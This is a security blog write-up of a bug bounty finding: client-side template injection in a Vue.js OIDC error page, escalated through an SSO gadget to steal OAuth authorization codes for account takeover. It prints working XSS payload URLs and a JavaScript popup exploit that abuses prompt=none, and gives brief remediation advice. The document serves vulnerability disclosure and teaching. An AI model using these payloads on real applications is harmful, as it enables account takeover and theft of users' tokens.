POSTS
SSO Gadgets II: Unauthenticated Client-Side Template Injection to Account Takeover using SSO Gadget Chain
- 5 minutes read - 868 wordsThe following unauthenticated Client-Side Template Injection (CSTI) resulting in a Cross-Site Scripting (XSS) vulnerability was discovered in a private bug bounty program. While the vulnerability could only be exploited in case a user had no active session at the application, chained with an SSO gadget, a malicious actor could have still gained access to the user’s account and performed actions on behalf of the user.
Table of Contents
- Background
- Client-Side Template Injection via
error_description
- SSO Gadget: Weaponizing Unauthenticated Cross-Site Scripting
- Remediation
- Conclusion
Background
The target application implemented multiple login methods, including an SSO solution based on OpenID Connect (OIDC). Standardized within the OIDC specification, there is not only the successful case in which an end-user logs into their account at the Identity Provider (IdP) and is redirected back to the Relying Party (RP) with an Authorization Code (code flow) but also the error case in which the IdP responds with an Authentication Error Response. The specification includes the following non-normative example including an error_description
parameter:
HTTP/1.1 302 Found
Location: https://client.example.org/cb?
error=invalid_request
&error_description=
Unsupported%20response_type%20value
&state=af0ifjsldkj
Further, the target application made use of the Vue.js JavaScript framework. Vue.js supports a templating syntax that allows rendering data to the DOM. The following example taken from the documentation shows a simple Vue.js template:
<span>Message: {{ msg }}</span>
In case a malicious actor can inject arbitrary templates into the application, the actor can execute arbitrary JavaScript code in the context of the application. This is called Client-Side Template Injection (CSTI). If you are not familiar with this vulnerability class, I recommend reading this blog post by Gareth Heyes, Lewis Ardern, and PwnFunction.
Client-Side Template Injection via error_description
The target application implemented a custom error page for the OIDC error case. The error page was implemented using Vue.js and rendered the error_description
parameter from the OIDC error response. By passing the payload {{7*7}}
as the error_description
parameter, an error message comparable to the following was presented to the end-user:
Could not authenticate, because 49.
As the 49 indicates, the provided template was evaluated by the application!
Luckily, achieving XSS from this was as straightforward as using well-known Vue.JS CSTI gadgets:https://target.com/callback?error=access_denied&error_description={{"".constructor.constructor("alert(document.domain)")()}}&state=abcdef.
SSO Gadget: Weaponizing Unauthenticated Cross-Site Scripting
For now, we have a straight forward XSS vulnerability. But as it is only exploitable in case the end-user has no active session within the application, the impact is very limited.
But how could we overcome this limitation?
A few months ago, I published a research post about so-called SSO gadgets. Back then, I highlighted that these gadgets could be utilized to weaponize self-XSS vulnerabilities. Due to the underlying concept of different sessions at the IdP and the application, this technique can be used to weaponize the aforementioned XSS, too. A simple JavaScript to steal an OIDC code looks like this:
// Perform code auth, consent, and active session required
let exploitWindow = window.open(
"https://login.microsoftonline.com/common/oauth2/authorize?client_id=REDACTED&redirect_uri=https://target.com/callback&response_mode=query&response_type=code+id_token&nonce=invalid&prompt=none",
"example",
"width=600,height=400,status=yes,scrollbars=yes,resizable=yes"
);
// Obtain code
// Access to exploitWindow.window.location is only possible from same origin of window (= requires XSS)
setTimeout(function(){
alert(exploitWindow.window.location);
exploitWindow.close()
},5000);
The payload will open a new window to the IdP, which will perform the OIDC code flow. Due to the prompt=none
parameter, in case the end-user previously consented to the application,
the IdP will not prompt the user for authentication and consent.
A minified payload using a CSTI-based XSS could look like this:
https://target.com/callback?error=access_denied&state=abcdef&error_description={{"".constructor.constructor("let%20exploitWindow=window.open(%27https://login.microsoftonline.com/common/oauth2/authorize?client_id=REDACTED%26redirect_uri=https://target.com/callback%26response_mode=query%26response_type=code+id_token%26nonce=invalid%26prompt=none%27,%27example%27,%27width=600,height=400,status=yes,scrollbars=yes,resizable=yes%27);setTimeout(()=>alert(exploitWindow.window.location),5000)")()}}
If an end-user browses to the malicious URL, the following will happen:
JavaScript code is executed in the context of the applicatcion by utilizing the CSTI vulnerability.
The JavaScript code opens a new window to the IdP and performs the OIDC code flow.
- In case the end-user has an active session at the IdP and previously used the IdP to sign in, the IdP will immediately redirect the user back to the application with an OIDC code and without prompting for consent (
prompt=none
). - Due to the
response_mode=query
parameter, the OIDC code will be appended to the URL as a query parameter instead of being sent asform_post
(normal flow used by the application).
- In case the end-user has an active session at the IdP and previously used the IdP to sign in, the IdP will immediately redirect the user back to the application with an OIDC code and without prompting for consent (
The JavaScript code waits for 5 seconds and then alerts the user with the OIDC code from the popup window.
A detailed description of the attack flow can be found in Case 2 of the SSO Gadget post.
Remediation
The Vue.JS framework has a dedicated documentation page with guidance on how to securely handle user-controlled input: https://vuejs.org/guide/best-practices/security.html
Conclusion
In this post, we discussed a Client-Side Template Injection leading to unauthenticated Cross-Site Scripting, which resulted from insecure handling of standardized OAuth/OIDC parameters within an error case. Further, the unauthenticated vulnerability was escalated using SSO gadgets, to demonstrate the impact by stealing sensitive OAuth/OIDC code
or access_token
values.
So, if you encounter an application that implements an SSO solution, make sure to check for the Authentication Error Response and how it is handled. If you find a similar XSS that is only exploitable in case a user has no active session within the application, you may want to check for the possibility to escalate the impact using SSO gadgets.
Thank you for reading this post! If you have any feedback, feel free to reach out via Mastodon, Twitter, or LinkedIn. 👨💻
You can directly tweet about this post using this link. 🤓